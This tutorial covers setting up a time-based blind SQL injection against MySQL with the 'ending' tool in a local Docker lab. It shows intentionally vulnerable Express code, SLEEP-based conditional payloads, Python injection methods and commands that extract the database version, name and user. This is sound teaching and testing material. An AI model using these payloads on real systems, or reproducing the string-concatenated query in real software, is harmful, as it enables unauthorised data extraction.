Time-based SQL injection

DBMS Type Tags
MySQL Time-based manual setup, time based

The automatic configuration can not (yet) detect time-based SQL injections. Let's see how we can setup one ourselves.

Vulnerable code:

app.post('/message', (req, res) => {
    const { message } = req.body;
    if (!message) {
        return res.status(400).send('Missing message');
    }
    const query = "INSERT INTO messages (message) VALUES ('" + message + "')";

    db.query(query, [], (err, results) => {
        res.status(201).send('Message sent.');
    });
});

Here, we can induce a delay by sending a message such as -SLEEP(1)-. To make this delay conditional, we can use -IF({condition},SLEEP(1),0)-'.

Setup

The test setup is available as ending-tutorials/time-based:

$ git clone https://github.com/cfreal/ending-tutorials
$ cd ending-tutorials/time-based
$ docker compose up --build

Create a design named, for instance, time-based-tutorial:

$ ending time-based-tutorial create

Update the send() method:

    async def send(self, payload: str) -> bytes:
        # Send a message
        response = await self.session.post(
            "http://localhost:5000/message",
            json={
                "message": payload,
            }
        )
        return response.content

Time-based injection

Since the injection is time-based, ending is not able to configure the attack automatically.

Let's verify this:

$ ending time-based-tutorial configure

It fails, as expected. To make the injection work, we will need to configure it manually.

But we don't have to do everything ourselves: we can make ending generate a template for us, and just fill in the gaps. Let's do this using configure --manual (or -m):

$ ending time-based-tutorial configure -m

However, since we know already that we will perform a time-based SQL injection on MySQL, we can let ending know:

$ ending time-based-tutorial configure -f -m --dbms mysql --method timebased

This will generate a design specifically built for time-based SQL injections on MySQL. We just need to fill in the gaps!

Filling the gaps

The inject() method needs to induce a delay if condition is true. To do this in our case, we can build a payload such as:

'-IF(({condition}), SLEEP(1), 0)-'

We therefore have the following inject() method:

    async def inject(self, condition: Node) -> None:
        # TODO The payload must induce a delay if the condition is true
        payload = f"'-IF(({condition}), SLEEP(1), 0)-'"
        response = await self.send(payload)
        return None

Now, let's indicate the delay we used in set_method().

    async def set_method(self) -> Compiler:
        return TimebasedTestMethod(
            self.compiler,
            self.inject,
            delay=1, # Minimum delay induced by SQL statements that evaluate to true
        )

We're done! Call validate to make sure the design works properly:

$ ending time-based-tutorial validate

Everything should go smoothly. We can now run a query to ensure that it works fine:

$ ending time-based-tutorial query -f 'version()' 'database()' 'user()'

Conclusion

In this tutorial, we learned how to manually configure a time-based SQL injection attack using ending. We created a design template, and then set the inject() and set_method() methods, validated the design, and ran a query to test the injection.

Check Time-based SQL injection to see the supported parameters and implementation details.